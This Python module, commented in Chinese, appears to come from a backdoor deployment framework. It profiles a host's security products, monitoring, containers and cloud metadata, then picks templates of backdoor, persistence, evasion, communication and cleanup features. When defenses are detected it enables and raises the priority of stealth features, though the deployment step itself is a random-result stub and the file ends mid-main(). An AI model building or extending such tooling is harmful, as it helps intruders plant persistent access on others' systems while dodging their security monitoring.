#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
场景模板引擎 - 一键化场景模板自动决策系统
实现基于环境特征的智能场景识别和自动化功能配置
"""

import os
import sys
import json
import time
import re
import math
import platform
import psutil
import socket
import subprocess
from enum import Enum
from dataclasses import dataclass, asdict
from typing import Dict, List, Optional, Tuple, Any
from pathlib import Path

# 添加项目根目录到路径
current_dir = os.path.dirname(os.path.abspath(__file__))
project_root = os.path.join(current_dir, '..', '..')
sys.path.insert(0, project_root)

try:
    from modules.intelligence.intelligent_decision_engine import SystemEnvironment, IntelligentDecisionEngine
    from core.utils import color_green, color_blue, color_red, color_yellow
except ImportError:
    # 兼容性处理
    def color_green(text): print(f"[+] {text}")
    def color_blue(text): print(f"[*] {text}")
    def color_red(text): print(f"[-] {text}")
    def color_yellow(text): print(f"[!] {text}")


class ScenarioType(Enum):
    """场景类型枚举"""
    ENTERPRISE_NETWORK = "enterprise_network"      # 企业内网环境
    PERSONAL_TESTING = "personal_testing"          # 个人测试环境
    HIGH_SECURITY = "high_security"                # 高安全环境
    CLOUD_SERVER = "cloud_server"                  # 云服务器环境
    CONTAINER_ENV = "container_env"                # 容器环境
    IOT_DEVICE = "iot_device"                      # IoT设备环境
    DEVELOPMENT = "development"                     # 开发环境
    PRODUCTION = "production"                       # 生产环境


class FeatureCategory(Enum):
    """功能分类枚举"""
    BACKDOOR = "backdoor"                          # 后门功能
    PERSISTENCE = "persistence"                    # 持久化功能
    EVASION = "evasion"                           # 规避功能
    COMMUNICATION = "communication"                # 通信功能
    LOGGING = "logging"                           # 日志功能
    MONITORING = "monitoring"                     # 监控功能
    CLEANUP = "cleanup"                           # 清理功能


@dataclass
class FeatureConfig:
    """功能配置"""
    name: str
    category: FeatureCategory
    enabled: bool
    priority: int = 5
    risk_level: str = "medium"
    description: str = ""
    parameters: Dict[str, Any] = None
    
    def __post_init__(self):
        if self.parameters is None:
            self.parameters = {}


@dataclass
class ScenarioTemplate:
    """场景模板"""
    scenario_type: ScenarioType
    name: str
    description: str
    confidence_score: float
    features: List[FeatureConfig]
    environment_requirements: Dict[str, Any]
    risk_assessment: Dict[str, Any]
    deployment_strategy: Dict[str, Any]
    
    def __post_init__(self):
        if not self.environment_requirements:
            self.environment_requirements = {}
        if not self.risk_assessment:
            self.risk_assessment = {}
        if not self.deployment_strategy:
            self.deployment_strategy = {}


@dataclass
class ScenarioDetectionResult:
    """场景检测结果"""
    detected_scenario: ScenarioType
    confidence_score: float
    evidence: List[str]
    alternative_scenarios: List[Tuple[ScenarioType, float]]
    recommended_template: ScenarioTemplate
    warnings: List[str] = None
    
    def __post_init__(self):
        if self.warnings is None:
            self.warnings = []


class ScenarioTemplateEngine:
    """场景模板引擎"""
    
    def __init__(self, templates_dir: str = None):
        """初始化场景模板引擎"""
        self.name = "场景模板引擎"
        
        # 设置模板目录
        if templates_dir is None:
            templates_dir = os.path.join(project_root, 'templates')
        self.templates_dir = Path(templates_dir)
        
        # 初始化组件
        self.decision_engine = None
        try:
            self.decision_engine = IntelligentDecisionEngine()
        except Exception as e:
            color_yellow(f"智能决策引擎初始化失败: {e}")
        
        # 加载模板配置
        self.scenario_templates = {}
        self.feature_definitions = {}
        self.detection_rules = {}
        
        self._load_configurations()
        
        color_green("✓ 场景模板引擎初始化完成")
    
    def _load_configurations(self):
        """加载配置文件"""
        try:
            # 加载场景模板
            scenario_file = self.templates_dir / "scenario_templates.json"
            if scenario_file.exists():
                with open(scenario_file, 'r', encoding='utf-8') as f:
                    data = json.load(f)
                    self._parse_scenario_templates(data)
            else:
                self._create_default_scenario_templates()
            
            # 加载功能定义
            features_file = self.templates_dir / "feature_definitions.json"
            if features_file.exists():
                with open(features_file, 'r', encoding='utf-8') as f:
                    self.feature_definitions = json.load(f)
            else:
                self._create_default_feature_definitions()
            
            # 加载检测规则
            rules_file = self.templates_dir / "detection_rules.json"
            if rules_file.exists():
                with open(rules_file, 'r', encoding='utf-8') as f:
                    self.detection_rules = json.load(f)
            else:
                self._create_default_detection_rules()
                
        except Exception as e:
            color_red(f"配置加载失败: {e}")
            self._create_default_configurations()
    
    def _parse_scenario_templates(self, data: Dict):
        """解析场景模板数据"""
        for template_data in data.get('templates', []):
            try:
                scenario_type = ScenarioType(template_data['scenario_type'])
                
                # 解析功能配置
                features = []
                for feature_data in template_data.get('features', []):
                    feature = FeatureConfig(
                        name=feature_data['name'],
                        category=FeatureCategory(feature_data['category']),
                        enabled=feature_data['enabled'],
                        priority=feature_data.get('priority', 5),
                        risk_level=feature_data.get('risk_level', 'medium'),
                        description=feature_data.get('description', ''),
                        parameters=feature_data.get('parameters', {})
                    )
                    features.append(feature)
                
                # 创建场景模板
                template = ScenarioTemplate(
                    scenario_type=scenario_type,
                    name=template_data['name'],
                    description=template_data['description'],
                    confidence_score=template_data.get('confidence_score', 0.8),
                    features=features,
                    environment_requirements=template_data.get('environment_requirements', {}),
                    risk_assessment=template_data.get('risk_assessment', {}),
                    deployment_strategy=template_data.get('deployment_strategy', {})
                )
                
                self.scenario_templates[scenario_type] = template
                
            except Exception as e:
                color_yellow(f"模板解析失败: {template_data.get('name', 'unknown')} - {e}")
    
    def detect_scenario(self, environment: SystemEnvironment = None) -> ScenarioDetectionResult:
        """检测当前环境场景"""
        color_blue("🔍 开始场景检测...")
        
        # 获取环境信息
        if environment is None:
            if self.decision_engine:
                environment = self.decision_engine.analyze_environment()
            else:
                color_red("无法获取环境信息")
                return None
        
        # 执行场景检测算法
        detection_results = self._analyze_environment_features(environment)
        
        # 选择最佳匹配场景
        best_scenario, confidence = self._select_best_scenario(detection_results)
        
        # 获取推荐模板
        recommended_template = self.scenario_templates.get(best_scenario)
        if recommended_template:
            # 根据环境动态调整模板
            recommended_template = self._customize_template(recommended_template, environment)
        
        # 生成检测结果
        result = ScenarioDetectionResult(
            detected_scenario=best_scenario,
            confidence_score=confidence,
            evidence=detection_results.get('evidence', []),
            alternative_scenarios=detection_results.get('alternatives', []),
            recommended_template=recommended_template,
            warnings=detection_results.get('warnings', [])
        )
        
        color_green(f"✓ 场景检测完成: {best_scenario.value} (置信度: {confidence:.2f})")
        
        return result
    
    def _analyze_environment_features(self, environment: SystemEnvironment) -> Dict[str, Any]:
        """分析环境特征 - 使用智能检测算法"""
        evidence = []
        scenario_scores = {}
        warnings = []
        
        # 初始化所有场景得分
        for scenario_type in ScenarioType:
            scenario_scores[scenario_type] = 0.0
        
        # 使用基于规则的检测算法
        if self.detection_rules and 'detection_rules' in self.detection_rules:
            self._apply_detection_rules(environment, scenario_scores, evidence, warnings)
        else:
            # 回退到传统分析方法
            self._analyze_system_characteristics(environment, scenario_scores, evidence)
            self._analyze_security_features(environment, scenario_scores, evidence, warnings)
            self._analyze_network_features(environment, scenario_scores, evidence)
            self._analyze_service_features(environment, scenario_scores, evidence)
        
        # 应用全局规则调整
        self._apply_global_adjustments(environment, scenario_scores, warnings)
        
        # 归一化得分
        scenario_scores = self._normalize_scores(scenario_scores)
        
        # 生成备选方案
        alternatives = sorted(
            [(scenario, score) for scenario, score in scenario_scores.items()],
            key=lambda x: x[1], reverse=True
        )[1:4]  # 取前3个备选方案
        
        return {
            'scores': scenario_scores,
            'evidence': evidence,
            'alternatives': alternatives,
            'warnings': warnings
        }
    
    def _apply_detection_rules(self, environment: SystemEnvironment, scores: Dict, evidence: List, warnings: List):
        """应用检测规则"""
        detection_rules = self.detection_rules.get('detection_rules', {})
        
        for scenario_name, rule_config in detection_rules.items():
            try:
                scenario_type = self._get_scenario_type_by_name(scenario_name)
                if not scenario_type:
                    continue
                
                # 应用基础得分
                base_score = rule_config.get('base_score', 0.0)
                scores[scenario_type] += base_score
                
                # 应用检测规则
                rules = rule_config.get('rules', [])
                for rule in rules:
                    if self._evaluate_rule_condition(rule['condition'], environment):
                        weight = rule.get('weight', 0.0)
                        scores[scenario_type] += weight
                        evidence.append(rule.get('evidence', f"匹配规则: {rule['name']}"))
                
                # 应用排除规则
                exclusion_rules = rule_config.get('exclusion_rules', [])
                for rule in exclusion_rules:
                    if self._evaluate_rule_condition(rule['condition'], environment):
                        penalty = rule.get('penalty', 0.0)
                        scores[scenario_type] += penalty
                        warnings.append(f"排除规则触发: {rule['description']}")
                        
            except Exception as e:
                color_yellow(f"规则应用失败 {scenario_name}: {e}")
    
    def _get_scenario_type_by_name(self, scenario_name: str) -> Optional[ScenarioType]:
        """根据名称获取场景类型"""
        scenario_mapping = {
            'enterprise_network': ScenarioType.ENTERPRISE_NETWORK,
            'personal_testing': ScenarioType.PERSONAL_TESTING,
            'high_security': ScenarioType.HIGH_SECURITY,
            'cloud_server': ScenarioType.CLOUD_SERVER,
            'container_env': ScenarioType.CONTAINER_ENV,
            'iot_device': ScenarioType.IOT_DEVICE,
            'development': ScenarioType.DEVELOPMENT,
            'production': ScenarioType.PRODUCTION
        }
        return scenario_mapping.get(scenario_name)
    
    def _evaluate_rule_condition(self, condition: str, environment: SystemEnvironment) -> bool:
        """评估规则条件"""
        try:
            # 创建安全的评估环境
            eval_env = self._create_evaluation_environment(environment)
            
            # 简单的条件评估
            # 注意：这里使用受限的eval，实际生产环境中应该使用更安全的表达式解析器
            return eval(condition, {"__builtins__": {}}, eval_env)
            
        except Exception as e:
            color_yellow(f"条件评估失败: {condition} - {e}")
            return False
    
    def _create_evaluation_environment(self, environment) -> Dict[str, Any]:
        """创建评估环境"""
        # 安全获取环境属性的辅助函数
        def safe_get(obj, attr, default=None):
            if isinstance(obj, dict):
                return obj.get(attr, default)
            else:
                return getattr(obj, attr, default)
        
        # 将环境对象转换为字典，用于条件评估
        env_dict = {
            'environment': {
                'domain_joined': safe_get(environment, 'domain_joined', False),
                'memory_total': safe_get(environment, 'memory_total', 0),
                'cpu_count': safe_get(environment, 'cpu_count', 1),
                'security_products': safe_get(environment, 'security_products', []),
                'network_interfaces': safe_get(environment, 'network_interfaces', []),
                'running_services': safe_get(environment, 'running_services', []),
                'listening_ports': safe_get(environment, 'listening_ports', []),
                'monitoring_services': safe_get(environment, 'monitoring_services', []),
                'group_policy_applied': safe_get(environment, 'group_policy_applied', False),
                'user_profile_path': safe_get(environment, 'user_profile_path', ''),
                'user_accounts': safe_get(environment, 'user_accounts', []),
                'installed_software': safe_get(environment, 'installed_software', []),
                'selinux_enabled': safe_get(environment, 'selinux_enabled', False),
                'selinux_mode': safe_get(environment, 'selinux_mode', ''),
                'apparmor_enabled': safe_get(environment, 'apparmor_enabled', False),
                'firewall_active': safe_get(environment, 'firewall_active', False),
                'firewall_rules': safe_get(environment, 'firewall_rules', []),
                'audit_logging_enabled': safe_get(environment, 'audit_logging_enabled', False),
                'cloud_metadata_accessible': safe_get(environment, 'cloud_metadata_accessible', False),
                'instance_type': safe_get(environment, 'instance_type', None),
                'ssh_key_auth_enabled': safe_get(environment, 'ssh_key_auth_enabled', False),
                'has_elastic_ip': safe_get(environment, 'has_elastic_ip', False),
                'container_runtime': safe_get(environment, 'container_runtime', ''),
                'mounted_filesystems': safe_get(environment, 'mounted_filesystems', []),
                'hostname': safe_get(environment, 'hostname', ''),
                'filesystem_types': safe_get(environment, 'filesystem_types', []),
                'environment_variables': safe_get(environment, 'environment_variables', []),
                'cpu_architecture': safe_get(environment, 'cpu_architecture', ''),
                'distro': safe_get(environment, 'distro', ''),
                'disk_total': safe_get(environment, 'disk_total', 0),
                'shell_type': safe_get(environment, 'shell_type', ''),
                'ssh_active': safe_get(environment, 'ssh_active', False),
                'systemd_active': safe_get(environment, 'systemd_active', False),
                'cron_active': safe_get(environment, 'cron_active', False),
                'cluster_member': safe_get(environment, 'cluster_member', False),
                'is_virtual_machine': safe_get(environment, 'is_virtual_machine', False)
            },
            # 添加辅助函数
            'len': len,
            'any': any,
            'all': all,
            'sum': sum,
            'max': max,
            'min': min
        }
        
        return env_dict
    
    def _apply_global_adjustments(self, environment: SystemEnvironment, scores: Dict, warnings: List):
        """应用全局调整规则"""
        if not self.detection_rules or 'global_rules' not in self.detection_rules:
            return
        
        global_rules = self.detection_rules['global_rules']
        
        # 应用置信度调整
        adjustments = global_rules.get('confidence_adjustments', [])
        for adjustment in adjustments:
            try:
                if self._evaluate_rule_condition(adjustment['condition'], environment):
                    adjustment_value = adjustment.get('adjustment', 0.0)
                    reason = adjustment.get('reason', '全局调整')
                    
                    # 对所有场景应用调整
                    for scenario_type in scores:
                        scores[scenario_type] += adjustment_value
                    
                    warnings.append(f"全局调整: {reason}")
                    
            except Exception as e:
                color_yellow(f"全局调整失败: {e}")
    
    def _normalize_scores(self, scores: Dict) -> Dict:
        """归一化得分"""
        if not self.detection_rules or 'weight_normalization' not in self.detection_rules:
            return scores
        
        normalization = self.detection_rules['weight_normalization']
        method = normalization.get('method', 'softmax')
        
        if method == 'softmax':
            temperature = normalization.get('temperature', 1.0)
            return self._softmax_normalize(scores, temperature)
        elif method == 'minmax':
            return self._minmax_normalize(scores)
        else:
            return scores
    
    def _softmax_normalize(self, scores: Dict, temperature: float = 1.0) -> Dict:
        """Softmax归一化"""
        try:
            # 计算softmax
            exp_scores = {}
            max_score = max(scores.values()) if scores.values() else 0
            
            for scenario, score in scores.items():
                exp_scores[scenario] = math.exp((score - max_score) / temperature)
            
            sum_exp = sum(exp_scores.values())
            
            if sum_exp > 0:
                for scenario in exp_scores:
                    exp_scores[scenario] /= sum_exp
            
            return exp_scores
            
        except Exception as e:
            color_yellow(f"Softmax归一化失败: {e}")
            return scores
    
    def _minmax_normalize(self, scores: Dict) -> Dict:
        """Min-Max归一化"""
        try:
            if not scores:
                return scores
            
            min_score = min(scores.values())
            max_score = max(scores.values())
            
            if max_score == min_score:
                # 所有得分相同，平均分配
                normalized_score = 1.0 / len(scores)
                return {scenario: normalized_score for scenario in scores}
            
            normalized_scores = {}
            for scenario, score in scores.items():
                normalized_scores[scenario] = (score - min_score) / (max_score - min_score)
            
            return normalized_scores
            
        except Exception as e:
            color_yellow(f"Min-Max归一化失败: {e}")
            return scores
    
    def _analyze_system_characteristics(self, env: SystemEnvironment, scores: Dict, evidence: List):
        """分析系统特征"""
        # 检测容器环境
        if self._is_container_environment(env):
            scores[ScenarioType.CONTAINER_ENV] += 0.4
            evidence.append("检测到容器环境特征")
        
        # 检测云服务器
        if self._is_cloud_server(env):
            scores[ScenarioType.CLOUD_SERVER] += 0.3
            evidence.append("检测到云服务器特征")
        
        # 检测开发环境
        if self._is_development_environment(env):
            scores[ScenarioType.DEVELOPMENT] += 0.3
            evidence.append("检测到开发环境特征")
        
        # 基于系统资源判断
        if env.memory_total < 2 * 1024 * 1024 * 1024:  # 小于2GB
            scores[ScenarioType.IOT_DEVICE] += 0.2
            evidence.append("系统内存较小，可能为IoT设备")
        elif env.memory_total > 16 * 1024 * 1024 * 1024:  # 大于16GB
            scores[ScenarioType.ENTERPRISE_NETWORK] += 0.2
            scores[ScenarioType.PRODUCTION] += 0.2
            evidence.append("系统内存较大，可能为企业或生产环境")
    
    def _analyze_security_features(self, env: SystemEnvironment, scores: Dict, evidence: List, warnings: List):
        """分析安全特征"""
        security_score = 0
        
        # SELinux/AppArmor
        if env.selinux_enabled or env.apparmor_enabled:
            security_score += 0.3
            evidence.append("启用了强制访问控制")
        
        # 防火墙
        if env.firewall_active:
            security_score += 0.2
            evidence.append("防火墙处于活动状态")
        
        # 安全产品
        if env.security_products:
            security_score += 0.4
            evidence.append(f"检测到安全产品: {', '.join(env.security_products)}")
            warnings.append("检测到安全产品，建议使用高隐蔽性配置")
        
        # 监控服务
        if env.monitoring_services:
            security_score += 0.3
            evidence.append(f"检测到监控服务: {', '.join(env.monitoring_services)}")
        
        # 根据安全等级调整场景得分
        if security_score >= 0.7:
            scores[ScenarioType.HIGH_SECURITY] += 0.5
            scores[ScenarioType.ENTERPRISE_NETWORK] += 0.3
        elif security_score >= 0.4:
            scores[ScenarioType.ENTERPRISE_NETWORK] += 0.3
            scores[ScenarioType.PRODUCTION] += 0.2
        else:
            scores[ScenarioType.PERSONAL_TESTING] += 0.3
            scores[ScenarioType.DEVELOPMENT] += 0.2
    
    def _analyze_network_features(self, env: SystemEnvironment, scores: Dict, evidence: List):
        """分析网络特征"""
        # 分析网络接口
        if env.network_interfaces:
            if len(env.network_interfaces) > 2:
                scores[ScenarioType.ENTERPRISE_NETWORK] += 0.2
                evidence.append("多个网络接口，可能为企业环境")
        
        # 分析监听端口
        if env.listening_ports:
            common_enterprise_ports = {22, 80, 443, 3389, 5432, 3306}
            enterprise_ports = set(env.listening_ports) & common_enterprise_ports
            
            if len(enterprise_ports) >= 3:
                scores[ScenarioType.ENTERPRISE_NETWORK] += 0.3
                scores[ScenarioType.PRODUCTION] += 0.2
                evidence.append(f"检测到企业常用端口: {enterprise_ports}")
            
            # 检测开发端口
            dev_ports = {3000, 8000, 8080, 9000, 5000}
            if set(env.listening_ports) & dev_ports:
                scores[ScenarioType.DEVELOPMENT] += 0.3
                evidence.append("检测到开发环境常用端口")
    
    def _analyze_service_features(self, env: SystemEnvironment, scores: Dict, evidence: List):
        """分析服务特征"""
        # SSH服务
        if env.ssh_active:
            scores[ScenarioType.ENTERPRISE_NETWORK] += 0.1
            scores[ScenarioType.CLOUD_SERVER] += 0.1
        
        # Systemd
        if env.systemd_active:
            scores[ScenarioType.ENTERPRISE_NETWORK] += 0.1
            scores[ScenarioType.PRODUCTION] += 0.1
        
        # Cron服务
        if env.cron_active:
            scores[ScenarioType.ENTERPRISE_NETWORK] += 0.1
            scores[ScenarioType.PRODUCTION] += 0.1
    
    def _is_container_environment(self, env: SystemEnvironment) -> bool:
        """检测是否为容器环境 - 增强版"""
        container_indicators = []
        
        # 检查容器运行时
        if hasattr(env, 'container_runtime') and env.container_runtime:
            container_indicators.append(True)
        
        # 检查cgroup文件系统
        if hasattr(env, 'mounted_filesystems'):
            cgroup_mounted = any('/sys/fs/cgroup' in fs for fs in env.mounted_filesystems)
            container_indicators.append(cgroup_mounted)
        
        # 检查overlay文件系统
        if hasattr(env, 'filesystem_types'):
            overlay_present = 'overlay' in env.filesystem_types
            container_indicators.append(overlay_present)
        
        # 检查容器特征主机名
        if hasattr(env, 'hostname') and env.hostname:
            # 容器通常有12位随机字符主机名
            is_container_hostname = len(env.hostname) == 12 and env.hostname.isalnum()
            container_indicators.append(is_container_hostname)
        
        # 检查Kubernetes环境变量
        if hasattr(env, 'environment_variables'):
            k8s_vars = any(var.startswith('KUBERNETES_') for var in env.environment_variables)
            container_indicators.append(k8s_vars)
        
        # 检查资源限制
        resource_limited = (env.memory_total < 2 * 1024 * 1024 * 1024 and env.cpu_count <= 2)
        container_indicators.append(resource_limited)
        
        # 检查进程命名空间
        try:
            # 尝试检测容器特征
            if os.path.exists('/.dockerenv'):
                container_indicators.append(True)
            
            # 检查cgroup信息
            if os.path.exists('/proc/1/cgroup'):
                with open('/proc/1/cgroup', 'r') as f:
                    cgroup_content = f.read()
                    if 'docker' in cgroup_content or 'containerd' in cgroup_content:
                        container_indicators.append(True)
        except:
            pass
        
        return sum(container_indicators) >= 3
    
    def _is_cloud_server(self, env: SystemEnvironment) -> bool:
        """检测是否为云服务器 - 增强版"""
        cloud_indicators = []
        
        # 检查云元数据服务
        if hasattr(env, 'cloud_metadata_accessible') and env.cloud_metadata_accessible:
            cloud_indicators.append(True)
        
        # 检查实例类型
        if hasattr(env, 'instance_type') and env.instance_type:
            cloud_indicators.append(True)
        
        # 检查云服务商工具
        if hasattr(env, 'installed_software'):
            cloud_tools = ['aws-cli', 'azure-cli', 'gcloud', 'cloud-init']
            has_cloud_tools = any(tool in env.installed_software for tool in cloud_tools)
            cloud_indicators.append(has_cloud_tools)
        
        # 检查SSH密钥认证
        if hasattr(env, 'ssh_key_auth_enabled') and env.ssh_key_auth_enabled:
            cloud_indicators.append(True)
        
        # 检查弹性IP
        if hasattr(env, 'has_elastic_ip') and env.has_elastic_ip:
            cloud_indicators.append(True)
        
        # 尝试访问云元数据服务
        try:
            cloud_metadata_urls = [
                'http://169.254.169.254/latest/meta-data/',  # AWS
                'http://169.254.169.254/metadata/instance',   # Azure
                'http://metadata.google.internal/computeMetadata/v1/'  # GCP
            ]
            
            for url in cloud_metadata_urls:
                try:
                    import requests
                    response = requests.get(url, timeout=2)
                    if response.status_code == 200:
                        cloud_indicators.append(True)
                        break
                except:
                    continue
        except:
            pass
        
        # 检查虚拟化环境
        if hasattr(env, 'is_virtual_machine') and env.is_virtual_machine:
            cloud_indicators.append(True)
        
        return sum(cloud_indicators) >= 3
    
    def _is_development_environment(self, env: SystemEnvironment) -> bool:
        """检测是否为开发环境 - 增强版"""
        dev_indicators = []
        
        # 检查开发端口
        if hasattr(env, 'listening_ports') and env.listening_ports:
            dev_ports = {3000, 8000, 8080, 9000, 5000, 4200, 3001}
            has_dev_ports = bool(set(env.listening_ports) & dev_ports)
            dev_indicators.append(has_dev_ports)
        
        # 检查版本控制工具
        if hasattr(env, 'installed_software'):
            vcs_tools = ['git', 'svn', 'mercurial', 'bzr']
            has_vcs = any(tool in env.installed_software for tool in vcs_tools)
            dev_indicators.append(has_vcs)
        
        # 检查IDE和编辑器
        if hasattr(env, 'installed_software'):
            ides = ['vscode', 'intellij', 'eclipse', 'vim', 'emacs', 'sublime', 'atom']
            has_ide = any(ide in env.installed_software for ide in ides)
            dev_indicators.append(has_ide)
        
        # 检查编程语言运行时
        if hasattr(env, 'installed_software'):
            runtimes = ['python', 'node', 'java', 'go', 'rust', 'ruby', 'php']
            has_runtime = any(runtime in env.installed_software for runtime in runtimes)
            dev_indicators.append(has_runtime)
        
        # 检查包管理器
        if hasattr(env, 'installed_software'):
            package_managers = ['npm', 'pip', 'composer', 'maven', 'gradle', 'cargo']
            has_pm = any(pm in env.installed_software for pm in package_managers)
            dev_indicators.append(has_pm)
        
        # 检查Docker开发环境
        if hasattr(env, 'installed_software'):
            has_docker_dev = ('docker' in env.installed_software and 
                            'docker-compose' in env.installed_software)
            dev_indicators.append(has_docker_dev)
        
        # 检查开发目录结构
        try:
            common_dev_dirs = ['/home/*/workspace', '/home/*/projects', '/home/*/dev', 
                             'C:\\Users\\*\\workspace', 'C:\\Users\\*\\projects']
            for pattern in common_dev_dirs:
                if os.path.exists(pattern.replace('*', os.getenv('USER', 'user'))):
                    dev_indicators.append(True)
                    break
        except:
            pass
        
        # 检查安全配置（开发环境通常安全配置较松）
        security_relaxed = (not getattr(env, 'selinux_enabled', False) and 
                          not getattr(env, 'apparmor_enabled', False) and
                          not getattr(env, 'security_products', []))
        dev_indicators.append(security_relaxed)
        
        return sum(dev_indicators) >= 4
    
    def _select_best_scenario(self, detection_results: Dict) -> Tuple[ScenarioType, float]:
        """选择最佳匹配场景"""
        scores = detection_results['scores']
        
        # 找到得分最高的场景
        best_scenario = max(scores.keys(), key=lambda k: scores[k])
        best_score = scores[best_scenario]
        
        # 如果得分太低，默认为个人测试环境
        if best_score < 0.3:
            return ScenarioType.PERSONAL_TESTING, 0.6
        
        # 归一化置信度
        confidence = min(best_score, 1.0)
        
        return best_scenario, confidence
    
    def _customize_template(self, template: ScenarioTemplate, environment: SystemEnvironment) -> ScenarioTemplate:
        """根据环境定制模板"""
        # 创建模板副本
        customized_features = []
        
        for feature in template.features:
            customized_feature = FeatureConfig(
                name=feature.name,
                category=feature.category,
                enabled=feature.enabled,
                priority=feature.priority,
                risk_level=feature.risk_level,
                description=feature.description,
                parameters=feature.parameters.copy()
            )
            
            # 根据环境调整功能配置
            self._adjust_feature_for_environment(customized_feature, environment)
            customized_features.append(customized_feature)
        
        # 创建定制化模板
        customized_template = ScenarioTemplate(
            scenario_type=template.scenario_type,
            name=template.name,
            description=template.description,
            confidence_score=template.confidence_score,
            features=customized_features,
            environment_requirements=template.environment_requirements.copy(),
            risk_assessment=template.risk_assessment.copy(),
            deployment_strategy=template.deployment_strategy.copy()
        )
        
        return customized_template
    
    def _adjust_feature_for_environment(self, feature: FeatureConfig, environment: SystemEnvironment):
        """根据环境调整功能配置"""
        # 如果检测到安全产品，提高隐蔽性功能优先级
        if environment.security_products and feature.category == FeatureCategory.EVASION:
            feature.priority = min(feature.priority + 2, 10)
            feature.enabled = True
        
        # 如果防火墙活跃，禁用某些网络功能
        if environment.firewall_active and feature.category == FeatureCategory.COMMUNICATION:
            if "network" in feature.name.lower():
                feature.enabled = False
        
        # 如果是容器环境，调整持久化策略
        if self._is_container_environment(environment) and feature.category == FeatureCategory.PERSISTENCE:
            if "systemd" in feature.name.lower():
                feature.enabled = False
    
    def one_click_deploy(self, scenario_type: ScenarioType = None, environment: SystemEnvironment = None, dry_run: bool = False) -> Dict[str, Any]:
        """一键部署场景模板"""
        if dry_run:
            color_blue("🚀 开始一键化场景部署 (模拟模式)...")
        else:
            color_blue("🚀 开始一键化场景部署...")
        
        try:
            # 如果没有指定场景，自动检测
            if scenario_type is None:
                detection_result = self.detect_scenario(environment)
                if not detection_result:
                    color_red("场景检测失败")
                    return {"success": False, "error": "场景检测失败"}
                
                scenario_type = detection_result.detected_scenario
                template = detection_result.recommended_template
                
                color_blue(f"检测到场景: {scenario_type.value}")
                color_blue(f"置信度: {detection_result.confidence_score:.2f}")
                
                if detection_result.warnings:
                    for warning in detection_result.warnings:
                        color_yellow(f"警告: {warning}")
            else:
                # 使用指定场景的模板
                template = self.scenario_templates.get(scenario_type)
                if not template:
                    color_red(f"未找到场景模板: {scenario_type.value}")
                    return {"success": False, "error": f"未找到场景模板: {scenario_type.value}"}
            
            # 显示将要启用的功能
            self._display_deployment_plan(template)
            
            # 执行部署
            if dry_run:
                color_yellow("模拟模式：跳过实际部署")
                deployment_result = {
                    "success": True,
                    "deployed_features": [f.name for f in template.features],
                    "dry_run": True,
                    "message": "模拟部署完成"
                }
            else:
                deployment_result = self._execute_deployment(template)
            
            if deployment_result["success"]:
                if dry_run:
                    color_green("✓ 一键化场景部署模拟完成")
                else:
                    color_green("✓ 一键化场景部署完成")
            else:
                color_red("✗ 一键化场景部署失败")
            
            return deployment_result
            
        except Exception as e:
            color_red(f"一键部署异常: {e}")
            return {"success": False, "error": str(e)}
    
    def _display_deployment_plan(self, template: ScenarioTemplate):
        """显示部署计划"""
        color_blue(f"\n📋 部署计划: {template.name}")
        color_blue(f"描述: {template.description}")
        
        enabled_features = [f for f in template.features if f.enabled]
        disabled_features = [f for f in template.features if not f.enabled]
        
        if enabled_features:
            color_green("\n✓ 将启用的功能:")
            for feature in enabled_features:
                risk_color = color_green if feature.risk_level == "low" else color_yellow if feature.risk_level == "medium" else color_red
                print(f"  • {feature.name} (优先级: {feature.priority}, 风险: {feature.risk_level})")
        
        if disabled_features:
            color_yellow("\n✗ 将禁用的功能:")
            for feature in disabled_features:
                print(f"  • {feature.name} - {feature.description}")
    
    def _execute_deployment(self, template: ScenarioTemplate) -> Dict[str, Any]:
        """执行部署"""
        deployment_results = {
            "success": True,
            "scenario": template.scenario_type.value,
            "deployed_features": [],
            "failed_features": [],
            "warnings": [],
            "deployment_time": time.time()
        }
        
        # 按优先级排序功能
        enabled_features = sorted(
            [f for f in template.features if f.enabled],
            key=lambda x: x.priority,
            reverse=True
        )
        
        # 逐个部署功能
        for feature in enabled_features:
            try:
                color_blue(f"部署功能: {feature.name}")
                
                # 这里应该调用具体的功能部署逻辑
                # 目前先模拟部署过程
                success = self._deploy_feature(feature)
                
                if success:
                    deployment_results["deployed_features"].append({
                        "name": feature.name,
                        "category": feature.category.value,
                        "parameters": feature.parameters
                    })
                    color_green(f"✓ {feature.name} 部署成功")
                else:
                    deployment_results["failed_features"].append(feature.name)
                    color_red(f"✗ {feature.name} 部署失败")
                    
            except Exception as e:
                deployment_results["failed_features"].append(feature.name)
                deployment_results["warnings"].append(f"{feature.name} 部署异常: {str(e)}")
                color_red(f"✗ {feature.name} 部署异常: {e}")
        
        # 判断整体部署是否成功
        if deployment_results["failed_features"]:
            deployment_results["success"] = len(deployment_results["deployed_features"]) > len(deployment_results["failed_features"])
        
        return deployment_results
    
    def _deploy_feature(self, feature: FeatureConfig) -> bool:
        """部署单个功能（模拟实现）"""
        # 这里应该根据功能类型调用相应的部署模块
        # 目前先返回模拟结果
        
        # 模拟部署时间
        time.sleep(0.1)
        
        # 模拟成功率（实际应该根据具体功能实现）
        import random
        return random.random() > 0.1  # 90% 成功率
    
    def _create_default_configurations(self):
        """创建默认配置"""
        self._create_default_scenario_templates()
        self._create_default_feature_definitions()
        self._create_default_detection_rules()
    
    def _create_default_scenario_templates(self):
        """创建默认场景模板"""
        # 这个方法将在下一个文件中实现
        pass
    
    def _create_default_feature_definitions(self):
        """创建默认功能定义"""
        # 这个方法将在下一个文件中实现
        pass
    
    def _create_default_detection_rules(self):
        """创建默认检测规则"""
        # 这个方法将在下一个文件中实现
        pass
    
    def _get_scenario_template(self, scenario_type: ScenarioType) -> Optional[ScenarioTemplate]:
        """获取指定场景类型的模板"""
        return self.scenario_templates.get(scenario_type)
    
    def get_available_scenarios(self) -> List[Dict[str, Any]]:
        """获取可用场景列表"""
        scenarios = []
        for scenario_type, template in self.scenario_templates.items():
            scenarios.append({
                "type": scenario_type.value,
                "name": template.name,
                "description": template.description,
                "confidence_score": template.confidence_score,
                "feature_count": len(template.features),
                "enabled_features": len([f for f in template.features if f.enabled])
            })
        return scenarios
    
    def export_template(self, scenario_type: ScenarioType, file_path: str) -> bool:
        """导出场景模板"""
        try:
            template = self.scenario_templates.get(scenario_type)
            if not template:
                return False
            
            template_data = asdict(template)
            
            with open(file_path, 'w', encoding='utf-8') as f:
                json.dump(template_data, f, ensure_ascii=False, indent=2)
            
            return True
        except Exception as e:
            color_red(f"模板导出失败: {e}")
            return False


def main():
    """主函数 - 演示场景模板引擎功能"""
    print("=" * 60)
    color_blue("场景模板引擎演示")
    print("=" * 60)
    
    # 初始化引擎
